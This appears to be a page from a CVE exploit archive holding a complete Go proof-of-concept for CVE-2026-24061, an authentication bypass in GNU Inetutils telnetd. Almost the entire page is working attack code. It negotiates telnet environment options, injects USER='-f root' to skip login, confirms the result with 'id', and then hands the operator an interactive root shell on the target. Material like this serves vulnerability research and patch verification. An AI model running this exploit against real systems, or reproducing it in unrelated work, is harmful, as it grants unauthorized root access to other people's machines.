5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.go GO
// CVE-2026-24061 - GNU Inetutils telnetd Authentication Bypass
// Telnet in 2026? I wasn't even born in '95 when SSH came out lol
// Usage: go run poc.go <host> <port>

package main

import (
	"bufio"
	"bytes"
	"fmt"
	"net"
	"os"
	"strings"
	"time"
)

const (
	Red, Green, Blue, Cyan, Reset = "\033[91m", "\033[92m", "\033[94m", "\033[96m", "\033[0m"
)

const (
	IAC, DONT, DO, WONT, WILL, SB, SE  byte = 255, 254, 253, 252, 251, 250, 240
	OptEcho, OptSGA, OptEnv, OptNewEnv      = 1, 3, 36, 39
	EnvIS, EnvSEND, EnvVAR, EnvVALUE        = 0, 1, 0, 1
)

func main() {
	fmt.Printf("\n%s  CVE-2026-24061%s - GNU Inetutils telnetd Auth Bypass\n\n", Red, Reset)

	if len(os.Args) < 3 {
		fmt.Printf("Usage: %s <host> <port>\n", os.Args[0])
		os.Exit(1)
	}

	if !exploit(os.Args[1], os.Args[2]) {
		os.Exit(1)
	}
}

func exploit(host, port string) bool {
	addr := net.JoinHostPort(host, port)
	fmt.Printf("%s[*]%s Target: %s%s%s\n", Blue, Reset, Cyan, addr, Reset)

	conn, err := net.DialTimeout("tcp", addr, 10*time.Second)
	if err != nil {
		fmt.Printf("%s[-]%s Connection failed: %v\n", Red, Reset, err)
		return false
	}
	defer conn.Close()
	conn.SetDeadline(time.Now().Add(20 * time.Second))

	fmt.Printf("%s[+]%s Connected\n", Green, Reset)

	n := &negot{conn: conn, user: "-f root", sent: map[int]bool{}}
	n.write(IAC, WILL, OptNewEnv)
	n.write(IAC, WILL, OptEnv)

	text := n.readFor(3 * time.Second)
	if !n.sent[OptNewEnv] {
		n.sendEnv(OptNewEnv)
	}

	text += n.readFor(2 * time.Second)
	conn.Write([]byte("\r\n"))
	text += n.readFor(2 * time.Second)

	if hasLogin(text) {
		fmt.Printf("%s[-]%s Login prompt - not vulnerable\n", Red, Reset)
		return false
	}

	if !n.echoOK {
		fmt.Printf("%s[-]%s No WILL ECHO - not vulnerable\n", Red, Reset)
		return false
	}

	conn.Write([]byte("id\r\n"))
	idOut := n.readFor(3 * time.Second)

	if hasLogin(idOut) || !strings.Contains(strings.ToLower(idOut), "uid=") {
		fmt.Printf("%s[-]%s Shell check failed\n", Red, Reset)
		return false
	}

	fmt.Printf("\n%s[+] VULNERABLE%s\n\n", Green, Reset)
	fmt.Print(text, idOut)

	shell(conn, n)
	return true
}

func shell(conn net.Conn, n *negot) {
	conn.SetDeadline(time.Time{}) // Remove global deadline for interactive mode
	done := make(chan bool, 1)
	go readLoop(conn, n, done)

	sc := bufio.NewScanner(os.Stdin)
	for sc.Scan() {
		cmd := sc.Text()
		if cmd == "exit" || cmd == "quit" {
			conn.Write([]byte("exit\r\n"))
			break
		}
		conn.Write([]byte(cmd + "\r\n"))
	}

	done <- true
	fmt.Printf("\n%s[*]%s Bye\n", Blue, Reset)
}

func readLoop(conn net.Conn, n *negot, done chan bool) {
	buf := make([]byte, 4096)
	for {
		select {
		case <-done:
			return
		default:
			conn.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
			cnt, err := conn.Read(buf)
			if cnt > 0 {
				fmt.Print(norm(string(n.parse(buf[:cnt]))))
			}
			if err != nil && !isTimeout(err) {
				return
			}
		}
	}
}

type negot struct {
	conn   net.Conn
	user   string
	buf    []byte
	sent   map[int]bool
	echoOK bool
}

func (n *negot) write(b ...byte) {
	n.conn.Write(b)
}

func (n *negot) sendEnv(opt int) {
	if n.sent[opt] {
		return
	}
	p := []byte{IAC, SB, byte(opt), EnvIS, EnvVAR}
	p = append(p, "USER"...)
	p = append(p, EnvVALUE)
	p = append(p, n.user...)
	p = append(p, IAC, SE)
	n.conn.Write(p)
	n.sent[opt] = true
	fmt.Printf("%s[*]%s Injected USER=%s\n", Blue, Reset, n.user)
}

func (n *negot) readFor(d time.Duration) string {
	n.conn.SetReadDeadline(time.Now().Add(d))
	var out []byte
	buf := make([]byte, 4096)
	for {
		cnt, err := n.conn.Read(buf)
		if cnt > 0 {
			out = append(out, n.parse(buf[:cnt])...)
		}
		if err != nil {
			break
		}
	}
	return norm(string(out))
}

func (n *negot) parse(data []byte) []byte {
	n.buf = append(n.buf, data...)
	var out []byte
	i := 0

	for i < len(n.buf) {
		if n.buf[i] != IAC {
			out = append(out, n.buf[i])
			i++
			continue
		}
		if i+1 >= len(n.buf) {
			break
		}

		cmd := n.buf[i+1]

		if cmd == IAC {
			out = append(out, IAC)
			i += 2
			continue
		}

		if cmd == DO || cmd == DONT || cmd == WILL || cmd == WONT {
			if i+2 >= len(n.buf) {
				break
			}
			n.handleCmd(cmd, n.buf[i+2])
			i += 3
			continue
		}

		if cmd == SB {
			end := bytes.Index(n.buf[i:], []byte{IAC, SE})
			if end < 0 {
				break
			}
			if i+2 < len(n.buf) {
				n.handleSub(int(n.buf[i+2]), n.buf[i+3:i+end])
			}
			i += end + 2
			continue
		}

		i += 2
	}

	n.buf = n.buf[i:]
	return out
}

func (n *negot) handleCmd(cmd, opt byte) {
	if cmd == DO && (opt == OptEnv || opt == OptNewEnv || opt == OptSGA) {
		n.write(IAC, WILL, opt)
		if opt == OptEnv {
			n.sendEnv(int(opt))
		}
		return
	}

	if cmd == DO {
		n.write(IAC, WONT, opt)
		return
	}

	if cmd == WILL && opt == OptEcho {
		n.echoOK = true
	}

	if cmd == WILL && (opt == OptEcho || opt == OptSGA) {
		n.write(IAC, DO, opt)
		return
	}

	if cmd == WILL {
		n.write(IAC, DONT, opt)
	}
}

func (n *negot) handleSub(opt int, data []byte) {
	if (opt != OptEnv && opt != OptNewEnv) || len(data) == 0 || data[0] != EnvSEND {
		return
	}
	n.sendEnv(opt)
}

func hasLogin(s string) bool {
	for _, line := range strings.Split(strings.ToLower(s), "\n") {
		t := strings.TrimSpace(line)
		if strings.HasPrefix(t, "last login") {
			continue
		}
		if strings.HasSuffix(t, "login:") || strings.HasSuffix(t, "password:") {
			return true
		}
	}
	return false
}

func norm(s string) string {
	return strings.ReplaceAll(strings.ReplaceAll(s, "\r\n", "\n"), "\r", "\n")
}

func isTimeout(err error) bool {
	e, ok := err.(net.Error)
	return ok && e.Timeout()
}